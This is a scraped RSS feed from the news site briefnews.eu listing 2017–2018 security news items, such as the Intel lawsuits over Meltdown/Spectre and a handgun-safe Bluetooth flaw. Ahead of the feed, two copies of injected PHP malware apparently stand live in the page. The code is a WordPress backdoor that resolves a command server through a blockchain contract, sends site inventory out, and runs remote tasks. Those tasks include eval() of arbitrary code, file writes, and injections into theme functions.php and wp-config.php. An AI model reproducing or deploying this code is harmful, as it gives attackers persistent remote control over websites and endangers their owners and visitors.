// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); vulnerabilities – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 04 Mar 2018 01:08:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png vulnerabilities – Brief News https://briefnews.eu 32 32 Newly Found Equifax Victims, Apple Vulnerabilities, and More Security News This Week https://briefnews.eu/newly-found-equifax-victims-apple-vulnerabilities-and-more-security-news-this-week/ https://briefnews.eu/newly-found-equifax-victims-apple-vulnerabilities-and-more-security-news-this-week/#respond Sun, 04 Mar 2018 01:08:51 +0000 http://briefnews.eu/newly-found-equifax-victims-apple-vulnerabilities-and-more-security-news-this-week/ A higher Equifax tally, Apple vulnerabilities, and more of the week’s top security news.


https://media.wired.com/photos/5a99d61a086151385ac85335/master/pass/security_roundup_030218.jpg

]]> https://briefnews.eu/newly-found-equifax-victims-apple-vulnerabilities-and-more-security-news-this-week/feed/ 0 Intel faces multiple lawsuits over chip security vulnerabilities https://briefnews.eu/intel-faces-multiple-lawsuits-over-chip-security-vulnerabilities/ https://briefnews.eu/intel-faces-multiple-lawsuits-over-chip-security-vulnerabilities/#respond Fri, 05 Jan 2018 20:26:03 +0000 http://briefnews.eu/intel-faces-multiple-lawsuits-over-chip-security-vulnerabilities/

Intel is already facing multiple lawsuits over the chip security flaws revealed earlier this week. Gizmodo reports that three have been filed so far — in California, Oregon and Indiana. All three are class action complaints and note Intel’s delay in disclosing the vulnerabilities — it new about them for months — as well as reduced performance caused by subsequent security patches. The Register reported that PC slow downs could amount to as much as five to 30 percent, but Intel has said that its solution’s impacts are “highly workload-dependent” and won’t be noticed much by the typical user.

It’s still early — the flaws were only officially revealed on Wednesday — so Intel could be facing more lawsuits going forward. In the week following Apple’s reveal that it intentionally slows older iPhone models to prevent sudden shutdowns, it was hit with a number of lawsuits in multiple countries.

Intel says 90 percent of affected chips should be patched by the end of the week while companies like Microsoft, Google and Apple are also releasing updates to mitigate the effects of the Spectre and Meltdown vulnerabilities.

Via: The Verge

Engadget RSS Feed

]]> https://briefnews.eu/intel-faces-multiple-lawsuits-over-chip-security-vulnerabilities/feed/ 0 CERT: Only way to fix Meltdown and Spectre vulnerabilities is to replace CPU https://briefnews.eu/cert-only-way-to-fix-meltdown-and-spectre-vulnerabilities-is-to-replace-cpu/ https://briefnews.eu/cert-only-way-to-fix-meltdown-and-spectre-vulnerabilities-is-to-replace-cpu/#respond Thu, 04 Jan 2018 11:50:46 +0000 http://briefnews.eu/cert-only-way-to-fix-meltdown-and-spectre-vulnerabilities-is-to-replace-cpu/

As word of the massive security flaw in computer processing units spread yesterday, companies responded to reassure customers and explain the steps they are taking to deliver software patches to address the issues.

But the Computer Emergency Response Team, or CERT, has issued a statement saying there is only one way to fix the vulnerability: replace the CPU. CERT is based at Carnegie Mellon University and is officially sponsored by the U.S. Department of Homeland Security’s Office of Cybersecurity and Communications.

“The underlying vulnerability is primarily caused by CPU architecture design choices,” CERT researchers wrote. “Fully removing the vulnerability requires replacing vulnerable CPU hardware.”

They also advise users to apply the various software patches but note that this will only “mitigate the underlying hardware vulnerability.”

The pronouncement from CERT doesn’t carry any regulatory obligation for the companies whose CPUs are affected. But the vendors that CERT lists as being affected include many of the biggest names in tech: AMD, Apple, ARM, Google, Intel, Microsoft, and Mozilla.

Together, those companies account for a massive portion of the chips used in computers and smartphones. Were they to come under legal or public pressure to provide replacement CPUs, the costs would be almost impossible to calculate.

For now, the companies have to hope that the software patches reduce security risk sufficiently to avoid widespread legal actions and further public backlash.

VentureBeat

]]> https://briefnews.eu/cert-only-way-to-fix-meltdown-and-spectre-vulnerabilities-is-to-replace-cpu/feed/ 0 Security firm exposes security vulnerabilities in popular handgun safe (VIDEO) https://briefnews.eu/security-firm-exposes-security-vulnerabilities-in-popular-handgun-safe-video/ https://briefnews.eu/security-firm-exposes-security-vulnerabilities-in-popular-handgun-safe-video/#respond Mon, 11 Dec 2017 21:45:15 +0000 http://briefnews.eu/security-firm-exposes-security-vulnerabilities-in-popular-handgun-safe-video/

Security researchers have discovered that a popular electric gun safe could be opened by virtually anyone without a password, thanks to a bluetooth vulnerability and weak PIN set up.

The Vaultek VT20i handgun safe, one of Amazon’s best selling gun safes, is promoted as a secure way to store a weapon. Owners can open the safe using a Bluetooth-enabled smartphone app by entering a four to eight digit pin.

However, the PIN isn’t required to open the app, as demonstrated in a video by security firm Two Six Labs. Researchers showed how they were able to open the safe by sending Bluetooth data from their laptop to the safe.

In a blog post detailing the “ability to exploit multiple security failures” in the VT20i, the company explained how it was able to open the safe by sending Bluetooth data from a laptop to the safe, which allowed them to open the safe without a PIN. All that’s needed is for the Bluetooth connectivity to be turned on in the safe. Vaultek responded to the video by saying the hack was more difficult than it appears, a claim which Two Six Labs then disputed.

“What you are not seeing is the prep time required to isolate the correct code and the time required to study the safe and it’s transmissions, and the subsequent decoding time needed to generate the final code,” Vaultek told Arstechnica in an email. “This can take hours of work and also requires the ability to observe a correctly paired phone.”

“Once you have developed this capability or written a script to do it, you can affect any safe in this product line in a matter of seconds,” Two Sixes Labs’ Austin Fletcher told Arstechnica.

Another vulnerability was that there is no limit on the number of attempts that can be made to guess the PIN. The PIN can only use the numbers 1-5, and can only be between four and eight digits long, so it can be opened using a brute force attack.

The company informed Vaultek about the issue in October and waited until it had come up with a fix before going public with their findings. On Saturday, Vaultek wrote on Facebook that it was working with Two Six Labs to make the safes more secure.

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/security-firm-exposes-security-vulnerabilities-in-popular-handgun-safe-video/feed/ 0 The Vulnerabilities Equities Process Still Has Issues Even After Added Transparency https://briefnews.eu/the-vulnerabilities-equities-process-still-has-issues-even-after-added-transparency/ https://briefnews.eu/the-vulnerabilities-equities-process-still-has-issues-even-after-added-transparency/#respond Thu, 16 Nov 2017 04:52:57 +0000 http://briefnews.eu/the-vulnerabilities-equities-process-still-has-issues-even-after-added-transparency/ A new charter for the Vulnerabilities Equities Process sheds some light, but doesn’t fix the underlying problems.


https://media.wired.com/photos/5a0cc8411a385857258c7172/master/pass/WhiteHouse-510269559.jpg
Feed: All Latest

]]> https://briefnews.eu/the-vulnerabilities-equities-process-still-has-issues-even-after-added-transparency/feed/ 0 Google’s refined Security Checkup identifies account vulnerabilities https://briefnews.eu/googles-refined-security-checkup-identifies-account-vulnerabilities/ https://briefnews.eu/googles-refined-security-checkup-identifies-account-vulnerabilities/#respond Tue, 17 Oct 2017 03:50:34 +0000 http://briefnews.eu/googles-refined-security-checkup-identifies-account-vulnerabilities/

While Google might soon switch VIPs over to advanced protection in the form of physical keys, the rest of us are fine with typical security practices — so long as we follow them. To better secure your Google account, the company has a new version of its Security Checkup feature that points out vulnerabilities. Instead of needing to run through the same generic checklist of questions, the tool will instead identify weak areas in your account setup and bring them to your attention.

None of the security suggestions (removing certain extensions, for example, or enabling 2-step verification) are new, and it still uses green checks marking safe setup and yellow/red checks denoting areas that need fixing. Only the personalized system is new, but hey, any time not spent glossing over what you’ve already correctly set up is more mental bandwidth to make your account less vulnerable. Visit the Security Checkup page to see the updated version.

Via: TechCrunch

Source: Google blog

Engadget RSS Feed

]]> https://briefnews.eu/googles-refined-security-checkup-identifies-account-vulnerabilities/feed/ 0 Go Update Your Mac ASAP To Fix Some Serious Vulnerabilities https://briefnews.eu/go-update-your-mac-asap-to-fix-some-serious-vulnerabilities/ https://briefnews.eu/go-update-your-mac-asap-to-fix-some-serious-vulnerabilities/#respond Sat, 07 Oct 2017 18:38:32 +0000 http://briefnews.eu/go-update-your-mac-asap-to-fix-some-serious-vulnerabilities/ Las Vegas, another NSA contractor slip-up, and more of the week’s top security news.


https://media.wired.com/photos/59d81c7210b45f0adcf17634/master/pass/AppleUpdate-FA-539935188.jpg
Feed: All Latest

]]> https://briefnews.eu/go-update-your-mac-asap-to-fix-some-serious-vulnerabilities/feed/ 0 Robot makers slow to fix vulnerabilities that could allow hackers to spy and disable safety features https://briefnews.eu/robot-makers-slow-to-fix-vulnerabilities-that-could-allow-hackers-to-spy-and-disable-safety-features/ https://briefnews.eu/robot-makers-slow-to-fix-vulnerabilities-that-could-allow-hackers-to-spy-and-disable-safety-features/#respond Wed, 23 Aug 2017 10:54:36 +0000 http://briefnews.eu/robot-makers-slow-to-fix-vulnerabilities-that-could-allow-hackers-to-spy-and-disable-safety-features/

(Reuters) — Researchers who warned half a dozen robot manufacturers in January about nearly 50 vulnerabilities in their home, business and industrial robots, say only a few of the problems have been addressed.

The researchers, Cesar Cerrudo and Lucas Apa of cybersecurity firm IOActive, said the vulnerabilities would allow hackers to spy on users, disable safety features and make robots lurch and move violently, putting users and bystanders in danger.

While they say there are no signs that hackers have exploited the vulnerabilities, they say the fact that the robots were hacked so easily and the manufacturers’ lack of response raise questions about allowing robots in homes, offices and factories.

“Our research shows proof that even non-military robots could be weaponized to cause harm,” Apa said in an interview.

